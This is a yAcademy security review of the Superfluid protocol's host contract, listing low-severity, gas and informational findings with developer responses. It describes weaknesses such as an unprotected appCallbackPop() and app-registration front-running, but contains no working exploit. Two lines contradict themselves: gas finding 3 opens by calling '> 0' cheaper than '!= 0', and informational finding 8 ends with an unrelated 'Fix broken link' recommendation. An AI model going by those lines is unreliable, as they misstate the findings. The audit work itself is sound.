yAcademy Superfluid review
Review Resources:
Residents:
- NibblerExpress
- engn33r
Fellows:
- ben s
- blockdev
- datapunk
- devtooligan
- Jib
- Koby Hall
- pashov
- SaharAP
- toastedsandwich
- uk
- verypoor
Table of Contents
- Review Summary
- Scope
- Code Evaluation Matrix
- Findings Explanation
- High Findings
- Medium Findings
- Residents Low Findings
- Residents Gas Savings Findings
- 1. Gas - Unnecessary zero initialization (engn33r)
- 2. Gas - Avoid && logic in require statements (engn33r)
- 3. Gas - Use != 0 for gas savings (engn33r)
- 4. Gas - Use short require strings (engn33r)
- 5. Gas - External functions are cheaper than public functions (engn33r)
- 6. Gas - Use Solidity errors in 0.8.4+ (engn33r)
- 7. Gas - Use prefix in loops (engn33r)
- 8. Gas - Declare constant internal when possible (engn33r)
- Fellows Gas Savings Findings
- 1. Gas - Use of
memory
for function arguments (blockdev) - 2. Gas - Unnecessary variable computation (blockdev)
- 3. Gas - Shorted revert strings (devtooligan)
- 4. Gas - Custom error (devtooligan)
- 5. Gas - Using >0 for unsigned integers (SaharAP)
- 6. Gas - Unchecked counter incrementation in “for” loop (verypoor)
- 1. Gas - Use of
- Residents Informational Findings
- 1. Informational - Potential underflow condition (engn33r)
- 2. Informational - Potential hash collision (engn33r)
- 3. Informational - Logic inconsistency between
callAgreementWithContext()
andcallAppActionWithContext()
(engn33r) - 4. Informational - Upgradable Superfluid.sol has hardcoded version (engn33r)
- 5. Informational -
_callAppAction()
logic varies from_callAgreement()
(engn33r) - 6. Informational - Use named cached variable (engn33r)
- 7. Informational -
_replacePlaceholderCtx()
logic could be simplified (engn33r) - 8. Informational -
_callCallback()
logic can be simplified (engn33r) - 9. Informational - Broken link (engn33r)
- 10. Informational - FIXME or TODO comments remain in code (engn33r)
- 11. Informational - Typos (engn33r)
- 12. Informational - Incorrect external code reference (engn33r)
- 13. Informational - Match callInfo masks and shifts to data size (NibblerExpress)
- 14. Informational -
isConfigWordClean
doesn’t check some unused bits (NibblerExpress) - 15. Informational - Remove unnecessary casting to ISuperApp type (engn33r)
- 16. Informational - Incorrect comments (engn33r)
- 17. Informational - Variation in
isTrustedForwarder()
implementations (engn33r)
- Fellows Informational Findings
- 1. Informational - Implementation contracts not initialized (blockdev)
- 2. Informational - Possible to register multiple apps with same
registrationKey
(blockdev) - 3. Informational - Valid context is not checked before modifying it (blockdev)
- 4. Informational - Typo (blockdev)
- 5. Informational - Ambiguous endian of bitmap (verypoor)
- 6. Informational - Add more comments and documentation (devtooligan)
- Final remarks
- About yAcademy
Review Summary
Superfluid
Superfluid enables programmable cashflows that stream continuously. This is done by combining Super Tokens, Super Agreements, Super Apps, and the Superfluid Host. The Superfluid Host sits at the center of the protocol and was the main contract in scope for this review. The Superfluid protocol is already deployed on several chains, including Polygon, Arbitrum, and Optimism among others.
The main branch of the Superfluid Repo was reviewed over 14 days, 2 of which were used to create an initial overview of the contract. The code review was performed between June 27 and July 10, 2022. The code was reviewed by 2 residents for a total of 38 man hours (NibblerExpress: 10 hours and engn33r 28 hours). A number of yAcademy Fellows also reviewed the contracts and contributed over 40 man hours. The repository was under active development during the review, but the review was limited to one specific commit.
Scope
The commit reviewed was 8534dba06f6040bb31e2db69175ac3097430c528. The scope of the review consisted of two contracts in the repository at this specific commit:
The Superfluid.sol contract in the scope of this review did not store any value itself. In order for a hack to extract value from Superfluid, other components of the Superfluid protocol, such as apps and agreements, would need to be involved. Therefore this scope-limited review did not cover many potential threat vectors that could be relevant in a more comprehensive Superfluid review. After the findings were presented to the Superfluid v2 team, fixes were made and included in several PRs.
The review is a code review to identify potential vulnerabilities in the code. The reviewers did not investigate security practices or operational security and assumed that privileged accounts could be trusted. The reviewers did not evaluate the security of the code relative to a standard or specification. The review may not have identified all potential attack vectors or areas of vulnerability.
yAcademy and the residents make no warranties regarding the security of the code and do not warrant that the code is free from defects. yAcademy and the residents do not represent nor imply to third parties that the code has been audited nor that the code is free from defects. By deploying or using the code, Superfluid and users of the contracts agree to use the code at their own risk.
Code Evaluation Matrix
Category | Mark | Description |
---|---|---|
Access Control | Low | Because the Superfluid protocol consists of multiple contracts interacting with each other, clear trust boundaries and access controls are crucial. Exploits in external contracts could break security assumptions in Superfluid.sol and lead to issues. Clearer documentation around trust assumptions and more foolproof access control modifier are needed to improve this aspect of this code. |
Mathematics | Average | The Superfluid.sol contract has few math operations, but one location was found with a possible subtraction underflow which should be mitigated. |
Complexity | Low | The Superfluid protocol contains many interlinking parts, each of which have many functions and unique designs. The code is very hard to follow and complex code is known to hide bugs, in part because it makes the task of reviewing or auditing the code harder. Comments in the code show that the protocol logic is not completely clear to the protocol developers either, which is a warning sign. Refactoring the protocol code should be prioritized to reduce the code complexity as much as possible. |
Libraries | Average | SafeCast and UUPSProxy libraries were used from OpenZeppelin. Custom CallUtils.sol and BaseRelayRecipient.sol libraries were used to import functions shared across different Superfluid contracts. |
Decentralization | Average | Certain functions like registering an AgreementClass or updating proxy contracts are managed by governance. This means the protocol is not fully decentralized and needs some amount of oversight. |
Code stability | Good | The code was reviewed at a specific commit. The solidity contracts were already deployed to mainnet and were not undergoing many modifications at the time of review. |
Documentation | Average | NatSpec comments were found in the ISuperfluid.sol contract, but private functions that were only in Superfluid.sol had no NatSpec comments (e.g., _updateContext() , _isCtxValid() , _registerApp() ). The GitBook documentation was not clearly organized and it was hard for users to find the information they were seeking. The GitHub repo contained an outdated and incomplete Wiki with information that has not yet been fully transferred over to the GitBook documentation. NatSpec documentation should exist for all functions in the SUperfluid code and the documentation should be consolidated and reorganized. |
Monitoring | Average | Superfluid.sol had seven events, found in functions with the onlyGovernance modifier and the app registration process. More events could be added to other functions to improve debugging and make it easier to review old transactions. |
Testing and verification | Average | Tests were written for both Hardhat and Foundry frameworks. There is some room for improvement to increase positive and negative test case coverage. More foundry tests could be added to improve fuzzing coverage of the protocol. |
Findings Explanation
Findings are broken down into sections by their respective impact:
- Critical, High, Medium, Low impact
- These are findings that range from attacks that may cause loss of funds, impact control/ownership of the contracts, or cause any unintended consequences/actions that are outside the scope of the requirements
- Gas savings
- Findings that can improve the gas efficiency of the contracts
- Informational
- Findings including recommendations and best practices
High Findings
None.
Medium Findings
None.
Residents Low Findings
1. Low - decodeCtx()
missing error checks (engn33r)
The decodeCtx()
function is missing logic checks that would help confirm if the decoded ctx value is valid and not malicious. For example, a ctx maximum length could be implemented, a check that may have helped prevent a Superfluid hack in Q1 2022. The length of the subcomponents of the ctx value can also be checked to prevent a crafted ctx value from bypasses existing checks, and other logic checks can validate if the ctx is a valid value or an invalid value.
Technical Details
In the places where decodeCtx()
or _decodeCtx()
is called from within the Superfluid.sol contract, it is almost always preceded by _isCtxValid()
(sometimes in the form of the requireValidCtx()
modifier) and followed by _updateContext()
. These other functions provide logics checks that protect against proceeding with invalid ctx values after decoding the value, such as comparing the context appLevel gainst the MAX_APP_LEVEL. While these checks are applied quite consistently in the Superfluid.sol contract, the decodeCtx()
function is external and could be used without the checks from _isCtxValid()
or _updateContext()
in other contracts of Superfluid or other protocols integrating with Superfluid. A better approach would to include logic checks in decodeCtx()
to revert when an invalid ctx value is decoded so that no state variables are impacted by the invalid decoded ctx data. Other checks that could be added include using isValidAbiEncodedBytes()
to validate abi data before decoding in decodeCtx()
and checking if the length of the ctx data and the ctx subcomponents is within reason to block obviously malicious ctx values from being processed.
Impact
Low. External contracts using decodeCtx()
or future changes to Superfluid.sol may omit logic checks that lead to acting upon invalid ctx values.
Recommendation
Move the line require(context.appLevel <= MAX_APP_LEVEL, "SF: APP_RULE_MAX_APP_LEVEL_REACHED");
from _updateContext()
to _decodeCtx()
. Based on other rules for what a valid ctx value contains, add additional logic checks like using isValidAbiEncodedBytes()
to prevent against a malicious ctx value being decoded.
Developer Response
Fixed in issue #1007.
2. Low - No function to unregister an agreement class (engn33r)
There is a registerAgreementClass()
function that registers and whitelists new agreement classes, but there is no function to unregister an agreement class or remove it from the whitelist.
Technical Details
The registerAgreementClass()
function registers an agreement class (for example, a Constant Flow Agreement (CFA) or Instant Distribution Agreement (IDA)), but there is no inverse function to remove agreements that are no longer needed or wanted. This is problematic because there is a hard cap in Superfluid.sol of 256 agreements. Once this number of agreements is reached, no new agreements can be added, reducing the usefulness of the Superfluid protocol.
Impact
Low. Because the process of adding an agreement is currently a manual process performed by governance, external actors cannot easily register large numbers of agreements.
Recommendation
A short term solution is to add a removeAgreementClass()
with the onlyGovernance
modifier to allow governance to remove agreements that are no longer needed. A longer term solution is to modify the contract to allow for a far greater number of agreements. The existing limit of 256 agreements is quite low depending on the projected growth of the protocol.
Developer Response
Acknowledged.
3. Low - App registration front-running can set a different configword
(engn33r)
A transaction that registers an app can be frontrun by another address that has permission to register apps. The frontrunner can register the app with a modified config word, within limits, which may not be what the original app register wanted.
Technical Details
The “Super App White listing [sic] Guide” in the Superfluid wiki states:
If you want to deploy a Super App to a mainnet, you can choose between 2 options for how to get it registered:
1. Request a registration key tied to a deployer account. Such a key can be used repeatedly, but may eventually expire. Registration is done via ISuperfluid.registerAppWithKey().
2. Provide the address of a factory contract which gets permission to register an unlimited number of Super Apps. Registration is done via ISuperfluid.registerAppByFactory().
Any user who can register an app using registerAppByFactory()
can register an app at any address. This allows for frontrunning in the app registration process because the registerAppByFactory()
does not differentiate between two users trying to register the same app. The frontrunner can set a different configWord
value than was originally set in the frontrun transaction, altering some of the apps characteristics. Because _registerApp()
sets a configWord
during registration, the original transaction will revert when the configWord is found to be non-zero.
One example scenario is that the modified configword has an appLevel value set to a value greater than MAX_APP_LEVEL
. This will effectively make the Superapp unusable because of the MAX_APP_LEVEL
check in _updateContext()
. The Superapp owner will need to redeploy the Superapp and attempt another registration.
Impact
Low. No clear attack vector was found by altering the configWord
value other than a gas-griefing type attack. To solve this, the original deployer can redeploy the app at a new address and register it from there or use a solution like Flashbots.
Recommendation
There is no clear solution to this issue that does not come with drawbacks:
- Creating a
removeApp()
function is not an ideal solution. This is becauseremoveApp()
should only be possible to call by the address that registered a Superapp, and the frontrunner who aims to prevent new apps from being registered has no incentive to unregister a Superapp with this function. IfremoveApp()
is not access limited to the address that registered a Superapp but relies on a protocol vote or multisig consensus agreeing to delete a certain app, then user trust may be reduced because of the protocol’s centralization and ability to censor apps. Censoring apps may be abused by malicious actors. - Adding a
modifyConfigWord()
function would have similar consequences to the above scenario. - Limiting the number of apps that could be registered by a given factory would reduce the number of frontrun attempts a specific address would have, but it would not completely negate the issue. Overhead in Superfluid administration would be added by the need for more factory approvals if a factory could not register an unlimited number of apps.
Developer Response
Acknowledged.
4. Low - appCallbackPop()
missing modifier (engn33r, NibblerExpress)
appCallbackPop()
is an external function. appCallbackPop()
only has a onlyAgreement
modifier. This is unlike the similar appCallbackPush()
function which has the assertValidCtx
modifier. If the onlyAgreement
modifier could be bypassed, such as if an agreement is exploited or a malicious agreement is whitelisted, appCallbackPop()
could be used to overwrite an existing _ctxStamp
value and effectively change the internal state that the Superfluid.sol contract thinks it is in. One example of a possible manipulation of _ctxStamp
is setting the msgSender value in the _ctxStamp
calculation to be set to any address. ctx manipulation of msgSender was a factor in a previous Superfluid hack.
Technical Details
function appCallbackPop(
bytes calldata ctx,
int256 appAllowanceUsedDelta
)
external override
onlyAgreement
returns (bytes memory newCtx)
{
Context memory context = decodeCtx(ctx);
context.appAllowanceUsed = context.appAllowanceUsed + appAllowanceUsedDelta;
newCtx = _updateContext(context);
}
The appCallbackPop()
function calls decodeCtx()
and _updateContext()
. Only _updateContext()
modifies a state variable, the _ctxStamp
variable. The _ctxStamp
variable is used to confirm the state that the Superfluid.sol router is in. The appCallbackPop()
function is only protected by the onlyAgreement
, while other similar functions have two modifiers and in theory more secure access controls.
Impact
Low. Modifying the _ctxStamp
value impacts the security in Superfluid.sol, but the onlyAgreement
modifier may not be trivial to bypass.
Recommendation
Add the assertValidCtx
or requireValidCtx
modifier to the appCallbackPop()
function to prevent it being called by a malicious contract to set an arbitrary _ctxStamp
value.
Developer Response
Acknowledged.
Residents Gas Savings Findings
1. Gas - Unnecessary zero initialization (engn33r)
Initializing an int or uint to zero is unnecessary, because solidity defaults int/uint variables to a zero value. Removing the initialization to zero can save gas.
Technical Details
Two instances of this were found, here and here.
Impact
Gas savings
Recommendation
Remove the explicit variable initializations.
Developer Response
Fixed in issue #1007.
2. Gas - Avoid && logic in require statements (engn33r)
Using && logic in require statements uses more gas than using separate require statements. Dividing the logic into multiple require statements is more gas efficient.
Technical Details
One instance of require with && logic was found.
Impact
Gas savings
Recommendation
Replace require statements that use && by dividing up the logic into multiple require statements.
Developer Response
Acknowledged.
3. Gas - Use != 0 for gas savings (engn33r)
Using > 0
is more gas efficient than using != 0
when comparing a uint to zero. This improvement does not apply to int values, which can store values below zero.
Technical Details
Seven instances of this were found (1, 2, 3, 4, 5, 6, 7).
Impact
Gas savings
Recommendation
Replace > 0
with != 0
to save gas.
Developer Response
Fixed in issue #1007.
4. Gas - Use short require strings (engn33r)
Reason strings for a require check takes at least 32 bytes. Using a reason strings over 32 bytes (characters) will increase gas consumption.
Technical Details
While there are many instances of this, here and here are two representative examples of the issue.
Impact
Gas savings
Recommendation
Use strings of 32 bytes or less.
Developer Response
Fixed in issue #1007 by switching to custom errors.
5. Gas - External functions are cheaper than public functions (engn33r)
An external function saves gas compared to a public function.
Technical Details
Several functions in Superfluid.sol can be declared external instead of public because they are not called from within Superfluid.sol. These functions include:
isTrustedForwarder()
proxiableUUID()
isAppJailed()
There is a slither detector for this.
Impact
Gas savings
Recommendation
Change function visibility from public to external when possible.
Developer Response
Fixed in issue #1007.
6. Gas - Use Solidity errors in 0.8.4+ (engn33r)
Using solidity errors is a new and more gas efficient way to revert on failure states as explained here and here.
Technical Details
Require statements are used throughout the contracts and error messages are not used anywhere. Using this new solidity feature can provide gas savings on revert conditions. A comment in the code here acknowledges this improvement could help.
Impact
Gas savings
Recommendation
Add errors to replace each require()
with revert errorName()
for greater gas efficiency.
Developer Response
Fixed in issue #1007.
7. Gas - Use prefix in loops (engn33r)
Using a prefix increment (++i
) instead of a postfix increment (i++
) saves gas for each loop cycle and so can have a big gas impact when the loop executes on a large number of elements.
The gas savings comes from the removal of a temporary variable. The value of j++
is 1 but the value of j
equals 2, which means two distinct values must be stored. In comparison, both j
and ++j
equal 2 when using ++j
.
Technical Details
There is one instance of this.
Impact
Gas savings
Recommendation
Increment with prefix addition and not postfix in for loops.
Developer Response
Fixed in issue #1007.
8. Gas - Declare constant internal when possible (engn33r)
Declaring a constant with internal visibility is cheaper than public constants. This is already applied to all constants in the code except one.
Technical Details
Several immutable variables (here, here, and here) should be internal instead of public if possible.
Impact
Gas savings
Recommendation
Make constant variables internal for gas savings.
Developer Response
Fixed in issue #1007.
Fellows Gas Savings Findings
1. Gas - Use of memory
for function arguments (blockdev)
If an argument is only read in a function, it’s cheaper to read it from calldata
instead of reading it from memory.
Proof of concept
These are the functions using memory
arguments: batchCall()
, forwardBatchCall()
, _batchCall()
, decodeCtx()
, _decodeCtx()
,
Impact
Gas savings
Recommendation
Replace memory
with calldata
for all the highlighted lines above.
2. Gas - Unnecessary variable computation (blockdev)
If a variable is used in a certain branch, it saves gas to compute that variable only in that branch.
Proof of concept
In function registerAppWithKey()
, configKey
is computed each time, but is used only when APP_WHITE_LISTING_ENABLED
is true. So the gas spent on computing configKey
is wasted when APP_WHITE_LISTING_ENABLED
is false.
Impact
Gas savings
Recommendation
Move configKey
computation to the next if
block.
3. Gas - Shorted revert strings (devtooligan)
Keep revert strings to < 32bytes to save an MSTORE.
Proof of concept
// Superfluid.sol l124
require(!Superfluid(newAddress).NON_UPGRADABLE_DEPLOYMENT(), "SF: cannot downgrade to non upgradable");
Impact
Gas savings at runtime and deploy.
Recommendation
Shorten or codify revert strings throughout the codebase to < 32bytes.
4. Gas - Custom error (devtooligan)
Custom errors are currently not used within this contract.
Impact
The use of gas savings would result in deploy gas savings as well as runtime gas savings in the revert case. It would also give an opportunity to provide additional documentation and NatSpec at the point of the custom error definition.
Recommendation
Utilize custom errors instead of require()
with revert strings.
5. Gas - Using >0 for unsigned integers (SaharAP)
!= 0
is a cheaper operation compared to >0
, when dealing with uint. >0
can be replaced with != 0
for gas optimization. The >0
has been used in many places in Superfluid contract such as here and here.
Impact
Gas savings
Recommendation
Replace >0
with !=0
when comparing unsigned integer variables to save gas.
6. Gas - Unchecked counter incrementation in “for” loop (verypoor)
I have seen other Solidity coders using unchecked increment in for loop to save gas, in case the upper limit has already been
checked.
An example would be in SlotsBitmapLibrary.sol,
since slotId < _MAX_NUM_SLOTS
, we could use unchecked to wrap ++slotId
. The same could be applied to a couple of other places.
Impact
Gas savings at runtime.
Recommendation
Wrap “for” loop counter incrementation in unchecked
.
Residents Informational Findings
1. Informational - Potential underflow condition (engn33r)
There is a possible underflow condition in an assembly block. Whether an underflow happens depends on user inputs.
Technical Details
This subtraction on line 1022 is done in an assembly block, which provides no overflow or underflow protection. There is no guarantees that the value of dataLen
is greater than 0x20. The value of dataLen
is equal to data.length
(set on line 1004). The data
function argument can be passed in the function call flow of callAppBeforeCallback()
(or callAppAfterCallback()
) -> _callCallback()
-> _replacePlaceholderCtx()
or a call flow such as callAgreement()
-> _callAgreement()
-> _callExternalWithReplacedCtx()
. The only length requirement on data
applied in these call flows is require(callData.length >= 4, "CallUtils: invalid callData");
from parseSelector()
in CallUtils.sol.
Impact
Informational. Underflow condition could lead to unexpected behavior.
Recommendation
Add an invariant in the forge tests with fuzzing to test for a potential underflow conditions. Note that the fuzzer in forge is not foolproof and additional logic in the code (or refactoring) would provide more guarantees to prevent an overflow. For example, consider replacing line 1022 with the following:
dataLenSub20 = dataLen - 32; // SafeMath protect against subtraction underflow. 32 = 0x20
assembly { mstore(data, dataLenSub20) }
Developer Response
Acknowledged, will fix in issue #1007 if needed.
2. Informational - Potential hash collision (engn33r)
The _replacePlaceholderCtx()
function returns a new ctx using abi.encodePacked()
. This is different from how _updateContext()
encodes the context with abi.encode()
. This could lead to a hash collision, potentially causing problems for the protocol.
Technical Details
Solidity documentation explains how abi.encodePacked()
can lead to a hash collision, which can disrupt the logic of the contract.
Impact
Informational.
Recommendation
Use abi.encode()
instead of abi.encodePacked()
when multiple variables of dynamic length or type are used.
Developer Response
Acknowledged, will fix in issue #1007 if needed.
3. Informational - Logic inconsistency between callAgreementWithContext()
and callAppActionWithContext()
(engn33r)
The functions callAgreementWithContext()
and callAppActionWithContext()
have very similar structure. However, there is one needless difference which could be modified to increase consistency.
Technical Details
There is a difference between the functions callAgreementWithContext()
and callAppActionWithContext()
. callAgreementWithContext()
uses assert(_isCtxValid(newCtx));
while callAppActionWithContext()
uses require(_isCtxValid(newCtx), "SF: APP_RULE_CTX_IS_READONLY");
. The functions should be as consistent as possible given their similar structure.
Impact
Informational.
Recommendation
Consistently use assert
or require
in the functions callAgreementWithContext()
and callAppActionWithContext()
.
Developer Response
Acknowledged, will fix in issue #1007 if needed.
4. Informational - Upgradable Superfluid.sol has hardcoded version (engn33r)
versionRecipient()
in Superfluid.sol has a hardcoded version number. Superfluid.sol imports UUPSProxiable.sol and can be upgraded, so the version number should be possible to increment.
Technical Details
The versionRecipient()
function has a hardcoded return value of “v1”. If the updateCode()
function is called to update the contract code, it may make sense to increment the version number.
Impact
Informational.
Recommendation
Update the version number when the contract is upgraded.
Developer Response
Acknowledged.
5. Informational - _callAppAction()
logic varies from _callAgreement()
(engn33r)
The functions _callAppAction()
and _callAgreement()
are very similar in structure. There is extra logic in the if (success)
clause of the _callAppAction()
function compared to _callAgreement()
. This extra logic might be best applied in both functions to maintain consistency.
Technical Details
The _callAppAction()
function has an extra if
clause that is not found in the _callAgreement()
function. This if
clause checks the _ctxStamp
value after the external call is completed. It could be beneficial to add this same check to the _callAgreement()
function if it improves the protocol security without impacting protocol functionality.
if (success) {
ctx = abi.decode(returnedData, (bytes));
require(_isCtxValid(ctx), "SF: APP_RULE_CTX_IS_READONLY");
}
Impact
Informational.
Recommendation
Consider add the if
clause logic from the _callAppAction()
function to the _callAgreement()
function.
Developer Response
Acknowledged, will fix in issue #1007 if needed.
6. Informational - Use named cached variable (engn33r)
In allowCompositeApp()
, the sourceApp variable caches the cast value of msg.sender but is not used in the last line of the function.
Technical Details
sourceApp
should replace ISuperApp(msg.sender)
in line 425.
Impact
Informational.
Recommendation
Used cache variables when available.
Developer Response
Acknowledged.
7. Informational - _replacePlaceholderCtx()
logic could be simplified (engn33r)
The logic of _replacePlaceholderCtx()
is most likely overly complex. A comment in this function is This can't check all cases - user can still put nonzero length of zero data
and So this is more like a sanity check for clumsy app developers.
This implies the function does not need to be precise because its logic is not foolproof, so a simplified function with similar effectiveness may be possible.
Technical Details
The code in _replacePlaceholderCtx()
includes:
uint256 dataLen = data.length;
{
uint256 placeHolderCtxLength;
// NOTE: len(data) is data.length + 32 https://docs.soliditylang.org/en/latest/abi-spec.html
// solhint-disable-next-line no-inline-assembly
assembly { placeHolderCtxLength := mload(add(data, dataLen)) }
require(placeHolderCtxLength == 0, "SF: placerholder ctx should have zero length");
}
A more simplified version of this logic which may provide similar effectiveness is:
uint256 dataLen = data.length;
require(dataLen == 0 || dataLen >= 32);
Edge cases for the proposed new code were not checked and should be checked before using it. The key takeaway is to simplify code to improve developer/auditor understanding. Some comments in this function make little sense and need to be rewritten, such as NOTE: len(data) is data.length + 32 https://docs.soliditylang.org/en/latest/abi-spec.html
. This specific comment is confusing because “len(data)” should equal “data.length” by definition.
Impact
Informational.
Recommendation
Refactor code to simplify it.
Developer Response
Fixed in issue #1007.
8. Informational - _callCallback()
logic can be simplified (engn33r)
A gasleft-related check exists in _callCallback()
. A similar if/else clause exists elsewhere in the Superfluid.sol contract but no gasleft-related check is found in these other locations. The gasleft logic may be unnecessary or may be useful to apply in other locations in Superfluid.sol.
Technical Details
The _callCallback()
function has a gasleft check to revert early on an out of gas condition. The same if/else clause found inside the gasleft check exists in two other places (here, here, and here)
Impact
Informational.
Recommendation
Fix broken link.
Developer Response
Acknowledged.
9. Informational - Broken link (engn33r)
There is a broken link in a comment.
Technical Details
The link https://ronan.eth.link/blog/ethereum-gas-dangers/ on line 979 is broken because ronan.eth.link cannot be resolved.
Impact
Informational.
Recommendation
Fix broken link.
Developer Response
Fixed in issue #1007.
10. Informational - FIXME or TODO comments remain in code (engn33r)
There are some FIXME and TODO comments in the code that may indicate loose ends that need modification.
Technical Details
There are two FIXME comments in the code, here and here. There is one TODO comment in the code here. Comments of this type demonstrate the code is incomplete or the comments have not been cleaned up after the code has been revised. Modifications to the code should be made to address these comments if they are still open items.
Impact
Informational.
Recommendation
Fix any TODO or FIXMEs.
Developer Response
Fixed in issue #1007.
11. Informational - Typos (engn33r)
There are some typos that have no impact on code functionality, but fixes could be considered improvements.
Technical Details
- “placerholder” should be “placeholder”
- “agreeement” should be “agreement”
- “APP_RULE_CTX_IS_MALFORMATED” should be “APP_RULE_CTX_IS_MALFORMATTED”
Impact
Informational.
Recommendation
Fix typos.
Developer Response
Fixed in issue #1007.
12. Informational - Incorrect external code reference (engn33r)
External code on github is referenced, but the line numbers referenced are inaccurate.
Technical Details
Superfluid.sol calls CallUtils.parseSelector()
. The comment for parseSelector()
is:
Copied from: https://github.com/argentlabs/argent-contracts/
blob/master/contracts/modules/common/Utils.sol#L54-L60
This reference is incorrect because line numbers have changed. The correct reference is now https://github.com/argentlabs/argent-contracts/blob/c80d3cb4e98af9a9e4eae9dc7fa01ea677bd6e3a/contracts/modules/common/Utils.sol#L103-L112
Impact
Informational.
Recommendation
Fix external code reference.
Developer Response
Fixed in issue #1007.
13. Informational - Match callInfo masks and shifts to data size (NibblerExpress)
callType
is uint8, but a four bit mask and a 32 bit shift are applied to it. Similarly, shifts of 15 and 32 for the jail bit and callback noop bitmasks are odd choices.
Technical Details
CALL_INFO_CALL_TYPE_SHIFT
is 32.
CALL_INFO_CALL_TYPE_MASK = 0xF << CALL_INFO_CALL_TYPE_SHIFT;
is a four bit mask.
Impact
Informational.
Recommendation
Change the shift to eight, and the mask to 0xFF
.
Developer Response
Acknowledged.
14. Informational - isConfigWordClean
doesn’t check some unused bits (NibblerExpress)
APP_LEVEL_MASK
and AGREEMENT_CALLBACK_NOOP_BITMASKS
have masks that are longer than the number of bits used in the current version, so unused bits that are accidentally set will not be detected.
Technical Details
App level uses two bits, but APP_LEVEL_MASK
is eight bits.
Agreement callback uses six bits, but AGREEMENT_CALLBACK_NOOP_BITMASKS
is eight bits.
Impact
Informational.
Recommendation
Change APP_LEVEL_MASK
to 0x3
and AGREEMENT_CALLBACK_NOOP_BITMASKS
to 0x3F
.
Developer Response
Acknowledged.
15. Informational - Remove unnecessary casting to ISuperApp type (engn33r)
In _registerApp()
, the input value provided to the _appManifests[]
index is cast as a ISuperApp
. This is unnecessary because the function argument app
is already of that type.
Technical Details
On line 376 and 377, _appManifests[ISuperApp(app)]
can be _appManifests[app]
because app
is already of type ISuperApp
.
Impact
Informational.
Recommendation
Apply casting only when it is needed to change types.
Developer Response
Fixed in issue #1007.
16. Informational - Incorrect comments (engn33r)
Two comments inaccurately describe their corresponding code.
Technical Details
- Line 839 contains a NatSpec comment copied incorrectly from the
isTrustedForwarder()
function. This comment should be removed or revised. - BaseRelayRecipient.sol has an inaccurate comment that is copied from the contract that BaseRelayRecipient.sol is based on.
Impact
Informational.
Recommendation
Fix incorrect comments so they correctly describe the code.
Developer Response
Fixed in issue #1007.
17. Informational - Variation in isTrustedForwarder()
implementations (engn33r)
Two functions named isTrustedForwarder()
in the Superfluid protocol have slightly different implementations.
Technical Details
The isTrustedForwarder()
implementation on line 836 of Superfluid.sol uses _gov.getConfigAsUint256() != 0
. In contrast, SuperfluidGovernanceBase.sol uses _gov.getConfigAsUint256() == 1
. This difference may not cause any security problems, but consistently checking this value would be better.
Impact
Informational.
Recommendation
Use a consistent implementation, following getConfigAsUint256() == 1
or getConfigAsUint256() != 0
, for similarly named functions.
Developer Response
Acknowledged.
Fellows Informational Findings
1. Informational - Implementation contracts not initialized (blockdev)
When using the UUPS proxy pattern, it’s a good practice to initialize implementation contracts yourself or disable initialization on them. This is to prevent their initialization by an attacker. Depending on the implementation, the attacker may find a way to selfdestruct the contract bricking the proxy.
Proof of concept
Superfluid, SuperfluidAgreement, SuperTokenFactory are deployed as UUPS proxy contracts. Anyone call their initialize()
function as implementation contracts are not initialized.
Impact
Informational. Currently, this poses no risk but if any future implementation contract lets the owner selfdestruct
it, or if OpenZeppelin’s UUPS contracts are used, all the functionality will be lost for proxy.
Recommendation
Follow one of the below recommendations —
- Use OpenZeppelin’s UUPS contracts, and call
_disableInitializers()
in implementation contract’s constructor. - Initialize the implementation contract in the same transaction which deploys it.
2. Informational - Possible to register multiple apps with same registrationKey
(blockdev)
An address configured by governance can register multiple SuperApps.
Proof of concept
Governance’s owner can call setConfig()
to allow an address a
(hashed into key
) to register a SuperApp with Superfluid.sol (host). The value
parameter is the timestamp until which the address can register the app.
a
can initiate a transaction to register multiple apps through registerAppWithKey()
as long as block.timestamp
<= value
.
Impact
Informational. If APP_WHITE_LISTING_ENABLED
is true, it can be assumed that the intention is to only allow knows apps to be registered. However, through this PoC, we’ve shown that a registered address can register multiple apps. This issue is categorized as informational as —
- the risk of registering an unknown app has not be explored by the reporting auditor.
- there is a trust assumption on the address to not deploy any malicious SuperApp.
Recommendation
Instead of delegating the responsibility of registering SuperApps to an address, the governance can itself deploy SuperApps. This avoids the need to trust some other address.
3. Informational - Valid context is not checked before modifying it (blockdev)
Each function which modifies _ctxStamp
in Superfluid.sol forces on it an initial state. appCallbackPop()
is the only function which lets an agreement to modify it without verifying the initial state.
Proof of concept
For reference, appCallbackPush()
has asserts a valid context through assertValidCtx(ctx)
. There is no such verification for appCallbackPop()
.
Impact
Informational. This issue is known to the team as all the calls to appCallbackPop()
(AgreementLibrary.sol#L104 and AgreementLibrary.sol#L149) come with the following comment —
// [SECURITY] NOTE: ctx should be const, do not modify it ever to ensure callback stack correctness
Recommendation
Add a NatSpec comment to appCallbackPop()
to make it explicit to the dev on when it’s safe to use this function.
4. Informational - Typo (blockdev)
There are typos in require strings.
Proof of concept
agreeement
(Superfluid.sol#L1053 and Superfluid.sol#L1063) might be better spelled as agreement
.
Impact
Informational.
Recommendation
Fix typos.
5. Informational - Ambiguous endian of bitmap (verypoor)
In contract SuperfluidToken.sol
, the use of bitmap _inactiveAgreementBitmap
to represent inactive agreements could
use some additional documentation to specify that the least significant bit is used to represent the first Agreement in
the “host”. The user extending this contract may not be aware of this.
Impact
Informational.
Recommendation
- Add setters for
_inactiveAgreementBitmap
. The setter can take another bitmap, or an array of Agreement indices as input. - Add documentations.
6. Informational - Add more comments and documentation (devtooligan)
Proof of concept
There is NatSpec on the interface ISuperfluid.sol but still lacking on documentation and inline comments.
Impact
This is a very complex contract, the function names are not always self explanatory. There are many stakeholders and integrators with this contract. With such complexity, wide spread usage, and the variety of footguns available, the lack of inline documentation and outside documentation can become a security issue as it makes it difficult for integrators and users of the platform.
Recommendation
Consider adding other types of comments and visual cues such as diagrams, examples, and ascii art to communicate the usage and gotchas for more complex functions. Finish off TODO and WIP documentation items in the Wiki.
Final remarks
NibblerExpress
The scope of the review was limited relative to the complexity of the overall system. The developers appear to have done a reasonable job at limiting the attack surface of the contracts in scope. However, there appears to be a larger attack surface with the agreements and apps. There may be ways to compromise the contracts in scope via attacks that elevate privileges by attacking the contracts out of scope. The developers should carefully design (or review) agreements to ensure that they enforce all security assumptions and have them externally reviewed as well. Apps may be especially dangerous because they could be malicious or designed insecurely by third parties. The jailing code is likely inadequate to detect all potential issues. Manual monitoring or review will likely be necessary.
engn33r
